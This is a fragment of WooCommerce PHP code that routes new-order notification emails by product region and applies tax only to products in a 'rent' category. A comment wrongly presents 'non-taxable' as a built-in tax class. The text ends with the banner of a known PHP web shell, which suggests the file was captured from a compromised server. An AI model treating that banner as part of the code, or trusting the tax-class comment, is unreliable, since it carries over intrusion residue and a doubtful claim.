    $regions_in_order = [];

    // Detect regions from products in order
    foreach ($order->get_items() as $item) {
        $product_id = $item->get_product_id();
        $product_region = get_post_meta($product_id, '_product_region', true);

        if ($product_region && isset($region_emails[$product_region])) {
            $regions_in_order[$product_region] = true;
        }
    }

    if (empty($regions_in_order)) return $recipient;

    // Collect recipients from all regions in the order
    $custom_recipients = [];
    foreach ($regions_in_order as $region => $_) {
        $emails = array_map('trim', explode(',', $region_emails[$region]));
        $custom_recipients = array_merge($custom_recipients, $emails);
    }

    // Remove duplicates and return as comma-separated string
    $custom_recipients = array_unique($custom_recipients);
    $recipient = implode(',', $custom_recipients);

    error_log("📧 WooCommerce New Order recipients for Order #{$order->get_order_number()}: {$recipient}");

    return $recipient;
}


add_filter('woocommerce_product_get_tax_class', 'apply_tax_only_for_rent_category', 10, 2);

function apply_tax_only_for_rent_category($tax_class, $product) {
    // Check if the product belongs to the "rent" category
    if (has_term('rent', 'product_cat', $product->get_id())) {
        return ''; // Use the default (Standard) tax rate — your 18% GST
    }

    // For all other categories — remove tax
    return 'non-taxable'; // Built-in WooCommerce tax class = No tax applied
}

Youez - 2016 - github.com/yon3zu
LinuXploit